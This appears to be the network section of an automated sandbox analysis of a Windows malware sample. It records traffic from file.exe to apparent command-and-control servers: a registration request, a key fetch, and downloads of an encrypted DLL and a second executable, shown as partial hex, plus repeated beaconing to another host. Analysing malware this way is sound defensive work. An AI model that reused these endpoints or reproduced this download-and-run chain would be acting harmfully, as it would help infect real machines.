Nov 20, 2024 05:04:03.754031897 CET	50047	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:03.754744053 CET	50048	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:03.760133982 CET	80	50047	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:03.760176897 CET	80	50048	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:03.760209084 CET	50047	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:03.760410070 CET	50048	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:03.760540009 CET	50048	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:03.765492916 CET	80	50048	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:04.467097044 CET	80	50048	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:04.467375040 CET	50048	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:04.583549023 CET	50048	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:04.583813906 CET	50049	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:04.589134932 CET	80	50049	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:04.589183092 CET	80	50048	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:04.589250088 CET	50049	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:04.589354038 CET	50048	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:04.589704037 CET	50049	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:04.594722033 CET	80	50049	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:05.296166897 CET	80	50049	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:05.296380043 CET	50049	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:05.505038023 CET	50049	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:05.510622025 CET	80	50049	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:05.510711908 CET	50049	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:05.521192074 CET	50050	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:05.526124954 CET	80	50050	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:05.526344061 CET	50050	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:05.562829018 CET	50050	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:05.567769051 CET	80	50050	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:06.232191086 CET	80	50050	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:06.232400894 CET	50050	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:06.365292072 CET	50050	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:06.365842104 CET	50051	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:06.373066902 CET	80	50050	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:06.373228073 CET	80	50051	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:06.373270988 CET	50050	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:06.373295069 CET	50051	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:06.375147104 CET	50051	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:06.382412910 CET	80	50051	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:07.074831009 CET	80	50051	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:07.075223923 CET	50051	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:07.197357893 CET	50051	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:07.198024035 CET	50052	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:07.202835083 CET	80	50051	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:07.202960968 CET	80	50052	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:07.203047991 CET	50051	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:07.203062057 CET	50052	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:07.203347921 CET	50052	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:07.208156109 CET	80	50052	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:07.930809975 CET	80	50052	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:07.930876970 CET	50052	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:08.050504923 CET	50052	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:08.050860882 CET	50053	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:08.056668043 CET	80	50052	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:08.056736946 CET	50052	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:08.056746960 CET	80	50053	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:08.056843042 CET	50053	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:08.056974888 CET	50053	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:08.061892033 CET	80	50053	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:08.770709991 CET	80	50053	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:08.770838976 CET	50053	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:08.878520012 CET	50053	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:08.988239050 CET	80	50053	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:09.241702080 CET	80	50053	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:09.241905928 CET	50053	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:09.363441944 CET	50053	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:09.363729000 CET	50054	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:09.368642092 CET	80	50054	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:09.368699074 CET	80	50053	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:09.368705034 CET	50054	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:09.368753910 CET	50053	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:09.369337082 CET	50054	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:09.374262094 CET	80	50054	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:10.097054958 CET	80	50054	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:10.097218037 CET	50054	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:10.206680059 CET	50054	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:10.211673021 CET	80	50054	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:10.464906931 CET	80	50054	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:10.465007067 CET	50054	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:10.582299948 CET	50054	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:10.582828999 CET	50055	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:10.587635994 CET	80	50054	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:10.587711096 CET	50054	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:10.588105917 CET	80	50055	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:10.588191986 CET	50055	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:10.588433981 CET	50055	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:10.593374014 CET	80	50055	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:11.292295933 CET	80	50055	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:11.292433977 CET	50055	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:11.411612034 CET	50055	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:11.411899090 CET	50056	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:11.720412970 CET	50055	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:12.329706907 CET	50055	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:12.355875015 CET	80	50056	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:12.355937958 CET	50056	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:12.356038094 CET	80	50055	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:12.356204033 CET	50056	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:12.356237888 CET	50055	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:12.357464075 CET	80	50055	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:12.357472897 CET	80	50055	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:12.361067057 CET	80	50056	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:13.148518085 CET	80	50056	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:13.148622990 CET	50056	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:13.269150972 CET	50056	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:13.269435883 CET	50057	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:13.274209976 CET	80	50056	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:13.274291992 CET	80	50057	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:13.274312019 CET	50056	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:13.274492979 CET	50057	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:13.274492979 CET	50057	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:13.279387951 CET	80	50057	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:13.978082895 CET	80	50057	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:13.978185892 CET	50057	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:14.097311974 CET	50057	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:14.097649097 CET	50058	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:14.103270054 CET	80	50058	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:14.103285074 CET	80	50057	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:14.103346109 CET	50058	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:14.103454113 CET	50057	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:14.103496075 CET	50058	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:14.108349085 CET	80	50058	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:14.830722094 CET	80	50058	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:14.830873966 CET	50058	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:14.945848942 CET	50058	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:14.951442957 CET	80	50058	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:15.203723907 CET	80	50058	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:15.203927040 CET	50058	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:15.315978050 CET	50058	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:15.316390991 CET	50059	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:15.321032047 CET	80	50058	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:15.321244955 CET	80	50059	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:15.321279049 CET	50058	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:15.321336031 CET	50059	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:15.321496964 CET	50059	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:15.326268911 CET	80	50059	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:16.026043892 CET	80	50059	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:16.029802084 CET	50059	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:16.145210981 CET	50059	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:16.145454884 CET	50060	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:16.150403023 CET	80	50060	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:16.150413990 CET	80	50059	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:16.150506973 CET	50060	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:16.150511980 CET	50059	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:16.150794029 CET	50060	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:16.155555010 CET	80	50060	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:16.852190971 CET	80	50060	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:16.852260113 CET	50060	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:16.972306967 CET	50060	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:16.972630978 CET	50061	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:16.977428913 CET	80	50061	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:16.977534056 CET	80	50060	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:16.977581024 CET	50060	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:16.977660894 CET	50061	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:16.977709055 CET	50061	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:04:16.982541084 CET	80	50061	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:17.704370022 CET	80	50061	185.208.158.202	192.168.2.4
Nov 20, 2024 05:04:17.704691887 CET	50061	80	192.168.2.4	185.208.158.202

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 05:03:18.508125067 CET	52296	53	192.168.2.4	45.155.250.90
Nov 20, 2024 05:03:18.542480946 CET	53	52296	45.155.250.90	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 05:03:18.508125067 CET	192.168.2.4	45.155.250.90	0x9a77	Standard query (0)	boietuj.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 05:03:18.542480946 CET	45.155.250.90	192.168.2.4	0x9a77	No error (0)	boietuj.com		185.208.158.202	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

185.156.72.65

boietuj.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.156.72.65	80	6556	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:02:15.232590914 CET	419	OUT	GET /add?substr=mixeleven&s=three&sub=nosub HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 05:02:16.048826933 CET	204	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 04:02:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 Data Ascii: 1
Nov 20, 2024 05:02:16.306072950 CET	388	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 05:02:17.378030062 CET	224	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 04:02:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Nov 20, 2024 05:02:17.378061056 CET	224	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 04:02:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Nov 20, 2024 05:02:17.378088951 CET	224	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 04:02:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Nov 20, 2024 05:02:17.387880087 CET	393	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 05:02:17.857040882 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 04:02:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Nov 20, 2024 05:02:17.857166052 CET	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Nov 20, 2024 05:02:17.857199907 CET	448	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Nov 20, 2024 05:02:17.857254028 CET	1236	IN	Data Raw: 94 56 6f 92 44 df 99 d0 e2 07 87 22 38 2a d1 8d 6b 3b c8 f7 e1 b5 00 e9 38 74 ca 24 b7 c2 3f 88 77 ac 79 7e 4b f0 5e 79 57 bd f5 65 c6 f8 b8 fd c0 5d 9c 70 37 a5 45 ab 76 ba a0 33 8b ee 99 a3 da 61 9a 35 1f f1 31 09 03 71 96 d5 28 76 57 11 9e 5e Data Ascii: VoD"8k;8t$?wy~K^yWe]p7Ev3a51q(vW^RK@$V+4trcwMMZoj^}xmgu0f'US]04<cMk2cD$g\|5r_gqKgLoZ
Nov 20, 2024 05:02:17.857333899 CET	1236	IN	Data Raw: 58 c0 cb 65 40 62 96 d2 c0 5a b0 40 d6 25 d6 ca ea 81 87 4f 4f 97 dc 41 ef 2a 66 64 06 53 6d 2a 3f d8 44 59 af 7a 70 c9 ee 8f c8 c1 db 27 48 69 d8 e7 8e c2 56 b7 01 bc 0b 63 45 c8 b6 b5 e2 1a ee a7 1a fe a7 05 65 86 dc c4 60 f9 00 38 79 10 46 0b Data Ascii: Xe@bZ@%OOAfdSm?DYzp'HiVcEe`8yF\|G(^80y-`p+x@Q.QjK=s3GVBfP:}^-RuJhJHz#<6S}Cc*>:cNZNG1M4
Nov 20, 2024 05:02:17.857368946 CET	1236	IN	Data Raw: 97 c8 49 60 d1 46 16 fc 9d 61 11 37 f4 93 5e ed 32 7a c7 3b 41 14 16 b7 4f 84 8d 39 ca 79 46 fc 2f a4 a6 82 f3 b6 68 61 61 41 32 66 02 00 57 51 d9 b9 0a 9a 35 e2 01 f6 64 48 f1 ee 15 5c 2f c3 ce e2 74 99 ad e8 49 c0 49 83 58 d9 d9 5f 15 11 8a 28 Data Ascii: I`Fa7^2z;AO9yF/haaA2fWQ5dH\/tIIX_( N%"PPLT(yFqG=)hZX.`2RsbifK!97e9f\|uUsetj9L~DY)5:w<}gBO$5)iI
Nov 20, 2024 05:02:17.857450008 CET	1236	IN	Data Raw: bd fe 32 26 39 43 46 ac 46 98 3a a9 90 2f db c5 e7 08 95 6c c4 71 43 67 26 21 a1 8e e2 57 01 bf 17 eb ec 95 38 79 19 72 66 f5 b3 f7 1b 75 10 9d 34 6d e2 d0 9a 09 6a 6b 6e fb a0 1b a0 0c 89 8d 39 0d 7b 82 10 1c fb a1 a0 b6 fb 0b bd 91 68 87 0f bc Data Ascii: 2&9CFF:/lqCg&!W8yrfu4mjkn9{h`e\lrp<wW+:s_m]sad8t43g\]Dh-@H<\|jSWU@E/]-L[uNIhq8~'??y9<N5)g.AK2T
Nov 20, 2024 05:02:17.857486010 CET	1236	IN	Data Raw: 9c 93 85 55 4b b0 90 0f 56 82 0c 86 f6 cc 27 8b b1 b8 1f 77 0d b6 88 24 2a 38 27 bc 8c 03 45 5b 5b 2b 90 a7 9b 51 a3 04 60 88 c5 2c 4a 7a 88 0a 01 7d 0c 2e 87 47 cf 80 8f 5e 70 62 4c d5 ad ce bf 64 f2 8f 59 f3 8f 0c c9 92 4f 19 2f 5b b6 f8 01 87 Data Ascii: UKV'w$8'E[[+Q`,Jz}.G^pbLdYO/[)o319Xz&k(pB~IjB1aNG^L/QAD!B5F$%RkQzo):z4fJnpb7[w\n@hm,tsY!FZb[.LJT/
Nov 20, 2024 05:02:17.857909918 CET	1236	IN	Data Raw: 92 77 46 c5 a7 fd 0a 9c 05 19 d8 07 e6 4e b6 52 f6 4f b7 e8 ab ac 30 f3 96 21 2d c8 20 bf 88 b6 9e a4 76 30 56 bc a4 59 bd ec 71 d2 3d ed d8 5f 82 8c b2 16 8f 65 8e 70 b5 77 5e 52 a6 89 7a 08 f3 c9 84 ea 32 44 a6 8a 12 81 c2 79 91 50 d2 42 01 86 Data Ascii: wFNRO0!- v0VYq=_epw^Rz2DyPBh0;ZP!WD.&\"'A2tCarnt9zq]&gmk0~q\mk0G@D)ewX5'%?/-Rcsi?G(F;7@J2v_9`P,uA
Nov 20, 2024 05:02:17.857944965 CET	776	IN	Data Raw: 63 70 2d 5e 06 f9 a0 88 b2 fe 94 69 78 3a 4d 9f ad 12 4c f0 0a b3 a2 cb 51 00 a5 7b 91 82 2b bb fa aa 10 54 85 b0 7c f4 3c 4b 81 dd ca da d8 19 bf dc 6e eb 76 44 8c 05 1f 15 0d a7 42 02 a3 d9 fa bd 7f 9d a5 c8 1a 0f a8 ed c9 af 96 dc b8 58 66 95 Data Ascii: cp-^ix:MLQ{+T\|<KnvDBXfbyQ#^XJx^0V\|eQSSO^_]/qA]E<P/(#o(MDvo.QcR*S8k][[{:?uH+go6S%m:
Nov 20, 2024 05:02:17.858196020 CET	1236	IN	Data Raw: 70 a2 12 da 26 de 65 6b de 5a 61 0b c8 a2 6d 52 66 a8 66 51 d1 c3 c9 87 9b d8 0b 44 57 eb 08 d8 cd bc b7 be b7 f1 4b 89 c0 b1 44 55 84 bc 8d 8d 36 2c c3 07 89 a5 46 50 8a ac fe f3 ba 23 4d 4f e4 0f 27 9f e1 11 07 f4 e0 e7 17 61 0e 07 54 3f cc 3f Data Ascii: p&ekZamRffQDWKDU6,FP#MO'aT??:wMDa%k;3?Bc\| yp`yzlSniVN(Bv}:XsOf.~zToX8n K$:D6Z%NNng=t+L~6Dt
Nov 20, 2024 05:02:18.122930050 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 05:02:18.980966091 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 04:02:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="ONE.file"; Content-Length: 4065622 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 94 00 00 00 46 00 00 00 00 00 00 40 9c 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*F@@@@P,CODEd `DATAL@BSS.idataP@.tls.rdata@P.reloc@P.rsrc,,@P@@P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
